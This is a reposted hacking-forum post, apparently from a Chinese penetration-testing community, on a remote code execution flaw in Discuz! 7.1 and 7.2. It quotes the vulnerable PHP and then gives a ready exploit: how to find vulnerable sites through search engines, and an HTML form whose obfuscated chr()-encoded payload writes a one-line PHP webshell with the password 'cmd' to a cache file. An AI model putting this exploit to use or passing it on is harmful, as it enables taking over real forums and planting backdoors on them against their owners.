HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: shenjianxiaoran
查看: 81|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-26Mysql下UDF提权2017年中旬WEB渗透系列课程-26Mysql下UDF提权
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-24提权分类2017年中旬WEB渗透系列课程-24提权分类
2017年中旬WEB渗透系列课程-23提权认识2017年中旬WEB渗透系列课程-23提权认识
2017年中旬WEB渗透系列课程-22CMS相关2017年中旬WEB渗透系列课程-22CMS相关
2017年中旬WEB渗透系列课程-21webshell免杀相关问题2017年中旬WEB渗透系列课程-21webshell免杀相关问题
2017年中旬WEB渗透系列课程-20关于指令执行2017年中旬WEB渗透系列课程-20关于指令执行
2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式

Discuz7.1和7.2 0远程代码执行漏洞Webshell(转)

[复制链接]
查看: 81|回复: 0

马上注册,加入HACK80!与我们一起交流。

正式会员需要 登录 才可以下载或查看,没有帐号?立即注册

x
yDiscuz! Board 论坛系统(简称 Discuz! 论坛)是一个采用 PHP 和 MySQL 等其它多种数据库构建的高效论坛解决方案。
作为商业软件产品, Discuz! 在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面有着良好的口碑。

对于站长而言,利用 Discuz! 均能够在最短的时间内,花费最低的费用,采用最少的人力,架设一个性能优异、功能全面、安全稳定的社区论坛平台。

它能运行于Windows平台和Linux平台,本次要讲解的是只要是注册用户即可轻松获取Webshell
在Discuz! 7.1与7.2版本中的showmessage函数,由于eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

该漏洞的首发是T00ls核心团队,下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell。
漏洞来源
一、漏洞来自showmessage函数
  1. function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
  2. extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from exehack.net
  3. global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
  4.     define('CACHE_FORBIDDEN', TRUE);
  5.     $hookscriptmessage = $show_message = $message;$messagehandle = 0;
  6.     $msgforward = unserialize($_DCACHE['settings']['msgforward']);
  7.     $refreshtime = intval($msgforward['refreshtime']);
  8.     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
  9.     $msgforward['refreshtime'] = $refreshtime * 1000;
  10.     $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
  11.     $seccodecheck = $seccodestatus & 2;
  12.     if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
  13.         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
  14.         if($fp = @fopen($statlogfile, 'a')) {
  15.             @flock($fp, 2);
  16.             if(is_array($funcstatinfo)) {
  17.                 $funcstatinfo = array_unique($funcstatinfo);
  18.                 foreach($funcstatinfo as $funcinfo) {
  19.                     fwrite($fp, funcstat_query($funcinfo, $message)."\n");
  20.                 }
  21.             } else {
  22.                 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
  23.             }
  24.             fclose($fp);
  25.             $funcstatinfo = $GLOBALS['funcstatinfo'] = '';
  26.         }
  27.     }
  28.     if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
  29.         write_statlog($message);
  30.     }
  31.     if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
  32.         updatesession();
  33.         dheader("location: ".str_replace('&', '&', $url_forward));
  34.     }
  35.     if(!empty($infloat)) {
  36.         if($extra) {
  37.             $messagehandle = $extra;
  38.         }
  39.         $extra = '';
  40.     }
  41.     if(in_array($extra, array('HALTED', 'NOPERM'))) {
  42.         $discuz_action = 254;
  43.     } else {
  44.         $discuz_action = 255;
  45.     }
  46.     include language('messages');
  47.     $vars = explode(':', $message);//只要含:就可以了
  48.     if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割
  49.         eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,from www.oldjun.com
  50.     } elseif(isset($language[$message])) {
  51.         $pre = $inajax ? 'ajax_' : '';
  52.         eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
  53.         unset($pre);
  54.     }
  55.     ......
  56. }
复制代码
二、DZ的全局机制导致了未初始化的参数可以任意提交
  1. foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
  2.     foreach($_request as $_key => $_value) {
  3.         $_key{0} != '_' && $_key = daddslashes($_value);
  4.     }
  5. }
复制代码
三、misc.php正好有个可以自定义message的点,其实也是未初始化:
  1. elseif($action == 'imme_binding' && $discuz_uid) {
  2.     if(isemail($id)) {
  3.         $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
  4.         $msn = explode("\t", $msn);
  5.         $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
  6.         $msn = "$msn[0]\t$id";
  7.         $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
  8.         showmessage('msn_binding_succeed', 'memcp.php');
  9.     } else {
  10.         if($result == 'Declined') {
  11.             dheader("Location: memcp.php");
  12.         } else {
  13.             showmessage($response['result']);//$response没有初始化,可以自定义,from www.exehack.net
  14.         }外观
复制代码
1.谷歌或者百度找到Discuz7.1和7.2的论坛 可以通过搜索关键字”Powered by Discuz! 7.1″
2.注册用户,然后将一下代码复制下来保存为html文件名随意! //然后将https://www.exehack.net/bbs/修改为检测的网站地址即可保存
然后打开文件,在论坛随便打开一篇帖子查看最后的uid号码填写进去即可然后点击提交
28.png
点击提交后即可在访问网站地址加上/forumdata/cache/usergroup_01.php  即可访问已插入一句话代码的地址 密码cmd
  1. <form method="post" action="//www.exehack.net/bbs/misc.php" enctype="multipart/form-data">
  2. 帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="18" />
  3. <input type="hidden" name="action" value="imme_binding" />
  4. <input type="hidden" name="response[result]" value="1:2" />
  5. <input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
  6. <input type="submit" name="topicsubmit" value="提交" class="submit" />
  7. </form>

  8. forumdata/cache/usergroup_01.php cmd生成的一句话木马
复制代码




正式会员需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-10-19 15:04 , Processed in 0.062791 second(s), 30 queries .

Powered by Discuz! X3.2 © 2001-2013 Comsenz Inc.